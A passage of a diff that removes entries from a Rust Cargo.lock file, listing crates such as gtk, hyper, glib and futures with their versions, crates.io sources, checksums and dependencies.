-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "cd1511a7b6a56299bd043a9c167a6d2bfb37bf84a6dfceaba651168adfb43c87"
-dependencies = [
- "dtoa",
-]
-
-[[package]]
-name = "dunce"
-version = "1.0.5"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "92773504d58c093f6de2459af4af33faa518c13451eb8f2b5698ed3d36e7c813"
-
-[[package]]
-name = "dyn-clone"
-version = "1.0.17"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "0d6ef0072f8a535281e4876be788938b528e9a1d43900b82c2569af7da799125"
-
-[[package]]
-name = "embed-resource"
-version = "2.4.3"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "4edcacde9351c33139a41e3c97eb2334351a81a2791bebb0b243df837128f602"
-dependencies = [
- "cc",
- "memchr",
- "rustc_version",
- "toml 0.8.2",
- "vswhom",
- "winreg",
-]
-
-[[package]]
-name = "embed_plist"
-version = "1.2.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "4ef6b89e5b37196644d8796de5268852ff179b44e96276cf4290264843743bb7"
-
-[[package]]
-name = "encoding_rs"
-version = "0.8.34"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "b45de904aa0b010bce2ab45264d0631681847fa7b6f2eaa7dab7619943bc4f59"
-dependencies = [
- "cfg-if",
-]
-
-[[package]]
-name = "endi"
-version = "1.1.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "a3d8a32ae18130a3c84dd492d4215c3d913c3b07c6b63c2eb3eb7ff1101ab7bf"
-
-[[package]]
-name = "enumflags2"
-version = "0.7.10"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "d232db7f5956f3f14313dc2f87985c58bd2c695ce124c8cdd984e08e15ac133d"
-dependencies = [
- "enumflags2_derive",
- "serde",
-]
-
-[[package]]
-name = "enumflags2_derive"
-version = "0.7.10"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "de0d48a183585823424a4ce1aa132d174a6a81bd540895822eb4c8373a8e49e8"
-dependencies = [
- "proc-macro2",
- "quote",
- "syn 2.0.75",
-]
-
-[[package]]
-name = "env_filter"
-version = "0.1.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "4f2c92ceda6ceec50f43169f9ee8424fe2db276791afde7b2cd8bc084cb376ab"
-dependencies = [
- "log",
- "regex",
-]
-
-[[package]]
-name = "equivalent"
-version = "1.0.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "5443807d6dff69373d433ab9ef5378ad8df50ca6298caf15de6e52e24aaf54d5"
-
-[[package]]
-name = "erased-serde"
-version = "0.4.5"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "24e2389d65ab4fab27dc2a5de7b191e1f6617d1f1c8855c0dc569c94a4cbb18d"
-dependencies = [
- "serde",
- "typeid",
-]
-
-[[package]]
-name = "errno"
-version = "0.3.9"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "534c5cf6194dfab3db3242765c03bbe257cf92f22b38f6bc0c58d59108a820ba"
-dependencies = [
- "libc",
- "windows-sys 0.52.0",
-]
-
-[[package]]
-name = "event-listener"
-version = "5.3.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "6032be9bd27023a771701cc49f9f053c751055f71efb2e0ae5c15809093675ba"
-dependencies = [
- "concurrent-queue",
- "parking",
- "pin-project-lite",
-]
-
-[[package]]
-name = "event-listener-strategy"
-version = "0.5.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "0f214dc438f977e6d4e3500aaa277f5ad94ca83fbbd9b1a15713ce2344ccc5a1"
-dependencies = [
- "event-listener",
- "pin-project-lite",
-]
-
-[[package]]
-name = "fastrand"
-version = "2.1.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "9fc0510504f03c51ada170672ac806f1f105a88aa97a5281117e1ddc3368e51a"
-
-[[package]]
-name = "fdeflate"
-version = "0.3.4"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "4f9bfee30e4dedf0ab8b422f03af778d9612b63f502710fc500a334ebe2de645"
-dependencies = [
- "simd-adler32",
-]
-
-[[package]]
-name = "fern"
-version = "0.6.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "d9f0c14694cbd524c8720dd69b0e3179344f04ebb5f90f2e4a440c6ea3b2f1ee"
-dependencies = [
- "log",
-]
-
-[[package]]
-name = "field-offset"
-version = "0.3.6"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "38e2275cc4e4fc009b0669731a1e5ab7ebf11f469eaede2bab9309a5b4d6057f"
-dependencies = [
- "memoffset",
- "rustc_version",
-]
-
-[[package]]
-name = "filetime"
-version = "0.2.24"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "bf401df4a4e3872c4fe8151134cf483738e74b67fc934d6532c882b3d24a4550"
-dependencies = [
- "cfg-if",
- "libc",
- "libredox",
- "windows-sys 0.59.0",
-]
-
-[[package]]
-name = "flate2"
-version = "1.0.31"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "7f211bbe8e69bbd0cfdea405084f128ae8b4aaa6b0b522fc8f2b009084797920"
-dependencies = [
- "crc32fast",
- "miniz_oxide",
-]
-
-[[package]]
-name = "fluent-uri"
-version = "0.1.4"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "17c704e9dbe1ddd863da1e6ff3567795087b1eb201ce80d8fa81162e1516500d"
-dependencies = [
- "bitflags 1.3.2",
-]
-
-[[package]]
-name = "fnv"
-version = "1.0.7"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "3f9eec918d3f24069decb9af1554cad7c880e2da24a9afd88aca000531ab82c1"
-
-[[package]]
-name = "foreign-types"
-version = "0.5.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "d737d9aa519fb7b749cbc3b962edcf310a8dd1f4b67c91c4f83975dbdd17d965"
-dependencies = [
- "foreign-types-macros",
- "foreign-types-shared",
-]
-
-[[package]]
-name = "foreign-types-macros"
-version = "0.2.3"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "1a5c6c585bc94aaf2c7b51dd4c2ba22680844aba4c687be581871a6f518c5742"
-dependencies = [
- "proc-macro2",
- "quote",
- "syn 2.0.75",
-]
-
-[[package]]
-name = "foreign-types-shared"
-version = "0.3.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "aa9a19cbb55df58761df49b23516a86d432839add4af60fc256da840f66ed35b"
-
-[[package]]
-name = "form_urlencoded"
-version = "1.2.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "e13624c2627564efccf4934284bdd98cbaa14e79b0b5a141218e507b3a823456"
-dependencies = [
- "percent-encoding",
-]
-
-[[package]]
-name = "funty"
-version = "2.0.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "e6d5a32815ae3f33302d95fdcb2ce17862f8c65363dcfd29360480ba1001fc9c"
-
-[[package]]
-name = "futf"
-version = "0.1.5"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "df420e2e84819663797d1ec6544b13c5be84629e7bb00dc960d6917db2987843"
-dependencies = [
- "mac",
- "new_debug_unreachable",
-]
-
-[[package]]
-name = "futures-channel"
-version = "0.3.30"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "eac8f7d7865dcb88bd4373ab671c8cf4508703796caa2b1985a9ca867b3fcb78"
-dependencies = [
- "futures-core",
-]
-
-[[package]]
-name = "futures-core"
-version = "0.3.30"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "dfc6580bb841c5a68e9ef15c77ccc837b40a7504914d52e47b8b0e9bbda25a1d"
-
-[[package]]
-name = "futures-executor"
-version = "0.3.30"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "a576fc72ae164fca6b9db127eaa9a9dda0d61316034f33a0a0d4eda41f02b01d"
-dependencies = [
- "futures-core",
- "futures-task",
- "futures-util",
-]
-
-[[package]]
-name = "futures-io"
-version = "0.3.30"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "a44623e20b9681a318efdd71c299b6b222ed6f231972bfe2f224ebad6311f0c1"
-
-[[package]]
-name = "futures-lite"
-version = "2.3.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "52527eb5074e35e9339c6b4e8d12600c7128b68fb25dcb9fa9dec18f7c25f3a5"
-dependencies = [
- "fastrand",
- "futures-core",
- "futures-io",
- "parking",
- "pin-project-lite",
-]
-
-[[package]]
-name = "futures-macro"
-version = "0.3.30"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "87750cf4b7a4c0625b1529e4c543c2182106e4dedc60a2a6455e00d212c489ac"
-dependencies = [
- "proc-macro2",
- "quote",
- "syn 2.0.75",
-]
-
-[[package]]
-name = "futures-sink"
-version = "0.3.30"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "9fb8e00e87438d937621c1c6269e53f536c14d3fbd6a042bb24879e57d474fb5"
-
-[[package]]
-name = "futures-task"
-version = "0.3.30"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "38d84fa142264698cdce1a9f9172cf383a0c82de1bddcf3092901442c4097004"
-
-[[package]]
-name = "futures-util"
-version = "0.3.30"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "3d6401deb83407ab3da39eba7e33987a73c3df0c82b4bb5813ee871c19c41d48"
-dependencies = [
- "futures-core",
- "futures-io",
- "futures-macro",
- "futures-sink",
- "futures-task",
- "memchr",
- "pin-project-lite",
- "pin-utils",
- "slab",
-]
-
-[[package]]
-name = "fxhash"
-version = "0.2.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "c31b6d751ae2c7f11320402d34e41349dd1016f8d5d45e48c4312bc8625af50c"
-dependencies = [
- "byteorder",
-]
-
-[[package]]
-name = "gdk"
-version = "0.18.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "f5ba081bdef3b75ebcdbfc953699ed2d7417d6bd853347a42a37d76406a33646"
-dependencies = [
- "cairo-rs",
- "gdk-pixbuf",
- "gdk-sys",
- "gio",
- "glib",
- "libc",
- "pango",
-]
-
-[[package]]
-name = "gdk-pixbuf"
-version = "0.18.5"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "50e1f5f1b0bfb830d6ccc8066d18db35c487b1b2b1e8589b5dfe9f07e8defaec"
-dependencies = [
- "gdk-pixbuf-sys",
- "gio",
- "glib",
- "libc",
- "once_cell",
-]
-
-[[package]]
-name = "gdk-pixbuf-sys"
-version = "0.18.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "3f9839ea644ed9c97a34d129ad56d38a25e6756f99f3a88e15cd39c20629caf7"
-dependencies = [
- "gio-sys",
- "glib-sys",
- "gobject-sys",
- "libc",
- "system-deps",
-]
-
-[[package]]
-name = "gdk-sys"
-version = "0.18.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "31ff856cb3386dae1703a920f803abafcc580e9b5f711ca62ed1620c25b51ff2"
-dependencies = [
- "cairo-sys-rs",
- "gdk-pixbuf-sys",
- "gio-sys",
- "glib-sys",
- "gobject-sys",
- "libc",
- "pango-sys",
- "pkg-config",
- "system-deps",
-]
-
-[[package]]
-name = "gdkwayland-sys"
-version = "0.18.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "a90fbf5c033c65d93792192a49a8efb5bb1e640c419682a58bb96f5ae77f3d4a"
-dependencies = [
- "gdk-sys",
- "glib-sys",
- "gobject-sys",
- "libc",
- "pkg-config",
- "system-deps",
-]
-
-[[package]]
-name = "gdkx11"
-version = "0.18.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "db2ea8a4909d530f79921290389cbd7c34cb9d623bfe970eaae65ca5f9cd9cce"
-dependencies = [
- "gdk",
- "gdkx11-sys",
- "gio",
- "glib",
- "libc",
- "x11",
-]
-
-[[package]]
-name = "gdkx11-sys"
-version = "0.18.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "fee8f00f4ee46cad2939b8990f5c70c94ff882c3028f3cc5abf950fa4ab53043"
-dependencies = [
- "gdk-sys",
- "glib-sys",
- "libc",
- "system-deps",
- "x11",
-]
-
-[[package]]
-name = "generator"
-version = "0.7.5"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "5cc16584ff22b460a382b7feec54b23d2908d858152e5739a120b949293bd74e"
-dependencies = [
- "cc",
- "libc",
- "log",
- "rustversion",
- "windows 0.48.0",
-]
-
-[[package]]
-name = "generic-array"
-version = "0.14.7"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "85649ca51fd72272d7821adaf274ad91c288277713d9c18820d8499a7ff69e9a"
-dependencies = [
- "typenum",
- "version_check",
-]
-
-[[package]]
-name = "gethostname"
-version = "0.4.3"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "0176e0459c2e4a1fe232f984bca6890e681076abb9934f6cea7c326f3fc47818"
-dependencies = [
- "libc",
- "windows-targets 0.48.5",
-]
-
-[[package]]
-name = "getrandom"
-version = "0.1.16"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "8fc3cb4d91f53b50155bdcfd23f6a4c39ae1969c2ae85982b135750cccaf5fce"
-dependencies = [
- "cfg-if",
- "libc",
- "wasi 0.9.0+wasi-snapshot-preview1",
-]
-
-[[package]]
-name = "getrandom"
-version = "0.2.15"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "c4567c8db10ae91089c99af84c68c38da3ec2f087c3f82960bcdbf3656b6f4d7"
-dependencies = [
- "cfg-if",
- "libc",
- "wasi 0.11.0+wasi-snapshot-preview1",
-]
-
-[[package]]
-name = "gimli"
-version = "0.29.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "40ecd4077b5ae9fd2e9e169b102c6c330d0605168eb0e8bf79952b256dbefffd"
-
-[[package]]
-name = "gio"
-version = "0.18.4"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "d4fc8f532f87b79cbc51a79748f16a6828fb784be93145a322fa14d06d354c73"
-dependencies = [
- "futures-channel",
- "futures-core",
- "futures-io",
- "futures-util",
- "gio-sys",
- "glib",
- "libc",
- "once_cell",
- "pin-project-lite",
- "smallvec",
- "thiserror",
-]
-
-[[package]]
-name = "gio-sys"
-version = "0.18.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "37566df850baf5e4cb0dfb78af2e4b9898d817ed9263d1090a2df958c64737d2"
-dependencies = [
- "glib-sys",
- "gobject-sys",
- "libc",
- "system-deps",
- "winapi",
-]
-
-[[package]]
-name = "glib"
-version = "0.18.5"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "233daaf6e83ae6a12a52055f568f9d7cf4671dabb78ff9560ab6da230ce00ee5"
-dependencies = [
- "bitflags 2.6.0",
- "futures-channel",
- "futures-core",
- "futures-executor",
- "futures-task",
- "futures-util",
- "gio-sys",
- "glib-macros",
- "glib-sys",
- "gobject-sys",
- "libc",
- "memchr",
- "once_cell",
- "smallvec",
- "thiserror",
-]
-
-[[package]]
-name = "glib-macros"
-version = "0.18.5"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "0bb0228f477c0900c880fd78c8759b95c7636dbd7842707f49e132378aa2acdc"
-dependencies = [
- "heck 0.4.1",
- "proc-macro-crate 2.0.2",
- "proc-macro-error",
- "proc-macro2",
- "quote",
- "syn 2.0.75",
-]
-
-[[package]]
-name = "glib-sys"
-version = "0.18.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "063ce2eb6a8d0ea93d2bf8ba1957e78dbab6be1c2220dd3daca57d5a9d869898"
-dependencies = [
- "libc",
- "system-deps",
-]
-
-[[package]]
-name = "glob"
-version = "0.3.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "d2fabcfbdc87f4758337ca535fb41a6d701b65693ce38287d856d1674551ec9b"
-
-[[package]]
-name = "gobject-sys"
-version = "0.18.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "0850127b514d1c4a4654ead6dedadb18198999985908e6ffe4436f53c785ce44"
-dependencies = [
- "glib-sys",
- "libc",
- "system-deps",
-]
-
-[[package]]
-name = "gtk"
-version = "0.18.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "93c4f5e0e20b60e10631a5f06da7fe3dda744b05ad0ea71fee2f47adf865890c"
-dependencies = [
- "atk",
- "cairo-rs",
- "field-offset",
- "futures-channel",
- "gdk",
- "gdk-pixbuf",
- "gio",
- "glib",
- "gtk-sys",
- "gtk3-macros",
- "libc",
- "pango",
- "pkg-config",
-]
-
-[[package]]
-name = "gtk-sys"
-version = "0.18.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "771437bf1de2c1c0b496c11505bdf748e26066bbe942dfc8f614c9460f6d7722"
-dependencies = [
- "atk-sys",
- "cairo-sys-rs",
- "gdk-pixbuf-sys",
- "gdk-sys",
- "gio-sys",
- "glib-sys",
- "gobject-sys",
- "libc",
- "pango-sys",
- "system-deps",
-]
-
-[[package]]
-name = "gtk3-macros"
-version = "0.18.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "c6063efb63db582968fb7df72e1ae68aa6360dcfb0a75143f34fc7d616bad75e"
-dependencies = [
- "proc-macro-crate 1.3.1",
- "proc-macro-error",
- "proc-macro2",
- "quote",
- "syn 2.0.75",
-]
-
-[[package]]
-name = "h2"
-version = "0.4.5"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "fa82e28a107a8cc405f0839610bdc9b15f1e25ec7d696aa5cf173edbcb1486ab"
-dependencies = [
- "atomic-waker",
- "bytes",
- "fnv",
- "futures-core",
- "futures-sink",
- "http",
- "indexmap 2.4.0",
- "slab",
- "tokio",
- "tokio-util",
- "tracing",
-]
-
-[[package]]
-name = "hashbrown"
-version = "0.12.3"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "8a9ee70c43aaf417c914396645a0fa852624801b24ebb7ae78fe8272889ac888"
-dependencies = [
- "ahash",
-]
-
-[[package]]
-name = "hashbrown"
-version = "0.14.5"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "e5274423e17b7c9fc20b6e7e208532f9b19825d82dfd615708b70edd83df41f1"
-
-[[package]]
-name = "heck"
-version = "0.4.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "95505c38b4572b2d910cecb0281560f54b440a19336cbbcb27bf6ce6adc6f5a8"
-
-[[package]]
-name = "heck"
-version = "0.5.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "2304e00983f87ffb38b55b444b5e3b60a884b5d30c0fca7d82fe33449bbe55ea"
-
-[[package]]
-name = "hermit-abi"
-version = "0.3.9"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "d231dfb89cfffdbc30e7fc41579ed6066ad03abda9e567ccafae602b97ec5024"
-
-[[package]]
-name = "hermit-abi"
-version = "0.4.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "fbf6a919d6cf397374f7dfeeea91d974c7c0a7221d0d0f4f20d859d329e53fcc"
-
-[[package]]
-name = "hex"
-version = "0.4.3"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "7f24254aa9a54b5c858eaee2f5bccdb46aaf0e486a595ed5fd8f86ba55232a70"
-
-[[package]]
-name = "html5ever"
-version = "0.26.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "bea68cab48b8459f17cf1c944c67ddc572d272d9f2b274140f223ecb1da4a3b7"
-dependencies = [
- "log",
- "mac",
- "markup5ever",
- "proc-macro2",
- "quote",
- "syn 1.0.109",
-]
-
-[[package]]
-name = "http"
-version = "1.1.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "21b9ddb458710bc376481b842f5da65cdf31522de232c1ca8146abce2a358258"
-dependencies = [
- "bytes",
- "fnv",
- "itoa 1.0.11",
-]
-
-[[package]]
-name = "http-body"
-version = "1.0.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "1efedce1fb8e6913f23e0c92de8e62cd5b772a67e7b3946df930a62566c93184"
-dependencies = [
- "bytes",
- "http",
-]
-
-[[package]]
-name = "http-body-util"
-version = "0.1.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "793429d76616a256bcb62c2a2ec2bed781c8307e797e2598c50010f2bee2544f"
-dependencies = [
- "bytes",
- "futures-util",
- "http",
- "http-body",
- "pin-project-lite",
-]
-
-[[package]]
-name = "httparse"
-version = "1.9.4"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "0fcc0b4a115bf80b728eb8ea024ad5bd707b615bfed49e0665b6e0f86fd082d9"
-
-[[package]]
-name = "hyper"
-version = "1.4.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "50dfd22e0e76d0f662d429a5f80fcaf3855009297eab6a0a9f8543834744ba05"
-dependencies = [
- "bytes",
- "futures-channel",
- "futures-util",
- "h2",
- "http",
- "http-body",
- "httparse",
- "itoa 1.0.11",
- "pin-project-lite",
- "smallvec",
- "tokio",
- "want",
-]
-
-[[package]]
-name = "hyper-rustls"
-version = "0.27.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "5ee4be2c948921a1a5320b629c4193916ed787a7f7f293fd3f7f5a6c9de74155"
-dependencies = [
- "futures-util",
- "http",
- "hyper",
- "hyper-util",
- "rustls",
- "rustls-pki-types",
- "tokio",
- "tokio-rustls",
- "tower-service",
- "webpki-roots",
-]
-
-[[package]]
-name = "hyper-util"
-version = "0.1.7"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "cde7055719c54e36e95e8719f95883f22072a48ede39db7fc17a4e1d5281e9b9"
-dependencies = [
- "bytes",
- "futures-channel",
- "futures-util",
- "http",
- "http-body",
- "hyper",
- "pin-project-lite",
- "socket2",
- "tokio",
- "tower",
- "tower-service",
- "tracing",
-]
-
-[[package]]
-name = "iana-time-zone"
-version = "0.1.60"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "e7ffbb5a1b541ea2561f8c41c087286cc091e21e556a4f09a8f6cbf17b69b141"
-dependencies = [
- "android_system_properties",
- "core-foundation-sys",
- "iana-time-zone-haiku",
- "js-sys",
- "wasm-bindgen",
- "windows-core 0.52.0",
-]
-
-[[package]]
-name = "iana-time-zone-haiku"
-version = "0.1.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "f31827a206f56af32e590ba56d5d2d085f558508192593743f16b2306495269f"
-dependencies = [
- "cc",
-]
-
-[[package]]
-name = "ico"
-version = "0.3.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "e3804960be0bb5e4edb1e1ad67afd321a9ecfd875c3e65c099468fd2717d7cae"
-dependencies = [
- "byteorder",
- "png",
-]
-
-[[package]]
-name = "ident_case"
-version = "1.0.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "b9e0384b61958566e926dc50660321d12159025e767c18e043daf26b70104c39"
-
-[[package]]
-name = "idna"
-version = "0.3.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "e14ddfc70884202db2244c223200c204c2bda1bc6e0998d11b5e024d657209e6"
-dependencies = [
- "unicode-bidi",
- "unicode-normalization",
-]
-
-[[package]]
-name = "idna"
-version = "0.5.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "634d9b1461af396cad843f47fdba5597a4f9e6ddd4bfb6ff5d85028c25cb12f6"
-dependencies = [
- "unicode-bidi",
- "unicode-normalization",
-]
-
-[[package]]
-name = "image"
-version = "0.25.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "99314c8a2152b8ddb211f924cdae532d8c5e4c8bb54728e12fff1b0cd5963a10"
-dependencies = [
- "bytemuck",
- "byteorder-lite",
- "num-traits",
- "png",
-]
-
-[[package]]
-name = "indexmap"
-version = "1.9.3"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "bd070e393353796e801d209ad339e89596eb4c8d430d18ede6a1cced8fafbd99"
-dependencies = [
- "autocfg",
- "hashbrown 0.12.3",
- "serde",
-]
-
-[[package]]
-name = "indexmap"
-version = "2.4.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "93ead53efc7ea8ed3cfb0c79fc8023fbb782a5432b52830b6518941cebe6505c"
-dependencies = [
- "equivalent",
- "hashbrown 0.14.5",
- "serde",
-]
-
-[[package]]
-name = "infer"
-version = "0.16.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "bc150e5ce2330295b8616ce0e3f53250e53af31759a9dbedad1621ba29151847"
-dependencies = [
- "cfb",
-]
-
-[[package]]
-name = "instant"
-version = "0.1.13"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "e0242819d153cba4b4b05a5a8f2a7e9bbf97b6055b2a002b395c96b5ff3c0222"
-dependencies = [
- "cfg-if",
-]
-
-[[package]]
-name = "ipnet"
-version = "2.9.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "8f518f335dce6725a761382244631d86cf0ccb2863413590b31338feb467f9c3"
-
-[[package]]
-name = "is-docker"
-version = "0.2.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "928bae27f42bc99b60d9ac7334e3a21d10ad8f1835a4e12ec3ec0464765ed1b3"
-dependencies = [
- "once_cell",
-]
-
-[[package]]
-name = "is-wsl"
-version = "0.4.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "173609498df190136aa7dea1a91db051746d339e18476eed5ca40521f02d7aa5"
-dependencies = [
- "is-docker",
- "once_cell",
-]
-
-[[package]]
-name = "itoa"
-version = "0.4.8"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "b71991ff56294aa922b450139ee08b3bfc70982c6b2c7562771375cf73542dd4"
-
-[[package]]
-name = "itoa"
-version = "1.0.11"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "49f1f14873335454500d59611f1cf4a4b0f786f9ac11f4312a78e4cf2566695b"
-
-[[package]]
-name = "javascriptcore-rs"
-version = "1.1.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "ca5671e9ffce8ffba57afc24070e906da7fc4b1ba66f2cabebf61bf2ea257fcc"
-dependencies = [
- "bitflags 1.3.2",
- "glib",
- "javascriptcore-rs-sys",
-]
-
-[[package]]
-name = "javascriptcore-rs-sys"
-version = "1.1.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "af1be78d14ffa4b75b66df31840478fef72b51f8c2465d4ca7c194da9f7a5124"
-dependencies = [
- "glib-sys",
- "gobject-sys",
- "libc",
- "system-deps",
-]
-
-[[package]]
-name = "jni"
-version = "0.21.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "1a87aa2bb7d2af34197c04845522473242e1aa17c12f4935d5856491a7fb8c97"
-dependencies = [
- "cesu8",
- "cfg-if",
- "combine",
- "jni-sys",
- "log",
- "thiserror",
- "walkdir",
- "windows-sys 0.45.0",
-]
-
-[[package]]
-name = "jni-sys"
-version = "0.3.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "8eaf4bc02d17cbdd7ff4c7438cafcdf7fb9a4613313ad11b4f8fefe7d3fa0130"
-
-[[package]]
-name = "js-sys"
-version = "0.3.70"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "1868808506b929d7b0cfa8f75951347aa71bb21144b7791bae35d9bccfcfe37a"
-dependencies = [
- "wasm-bindgen",
-]
-
-[[package]]
-name = "json-patch"
-version = "2.0.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "5b1fb8864823fad91877e6caea0baca82e49e8db50f8e5c9f9a453e27d3330fc"
-dependencies = [
- "jsonptr",
- "serde",
- "serde_json",
- "thiserror",
-]
-
-[[package]]
-name = "jsonptr"
-version = "0.4.7"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "1c6e529149475ca0b2820835d3dce8fcc41c6b943ca608d32f35b449255e4627"
-dependencies = [
- "fluent-uri",
- "serde",
- "serde_json",
-]
-
-[[package]]
-name = "keyboard-types"
-version = "0.7.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "b750dcadc39a09dbadd74e118f6dd6598df77fa01df0cfcdc52c28dece74528a"
-dependencies = [
- "bitflags 2.6.0",
- "serde",
- "unicode-segmentation",
-]
-
-[[package]]
-name = "kuchikiki"
-version = "0.8.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "f29e4755b7b995046f510a7520c42b2fed58b77bd94d5a87a8eb43d2fd126da8"
-dependencies = [
- "cssparser",
- "html5ever",
- "indexmap 1.9.3",
- "matches",
- "selectors",
-]
-
-[[package]]
-name = "lazy_static"
-version = "1.5.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "bbd2bcb4c963f2ddae06a2efc7e9f3591312473c50c6685e1f298068316e66fe"
-
-[[package]]
-name = "libappindicator"
-version = "0.9.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "03589b9607c868cc7ae54c0b2a22c8dc03dd41692d48f2d7df73615c6a95dc0a"
-dependencies = [
- "glib",
- "gtk",
- "gtk-sys",
- "libappindicator-sys",
- "log",
-]
-
-[[package]]
-name = "libappindicator-sys"
-version = "0.9.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
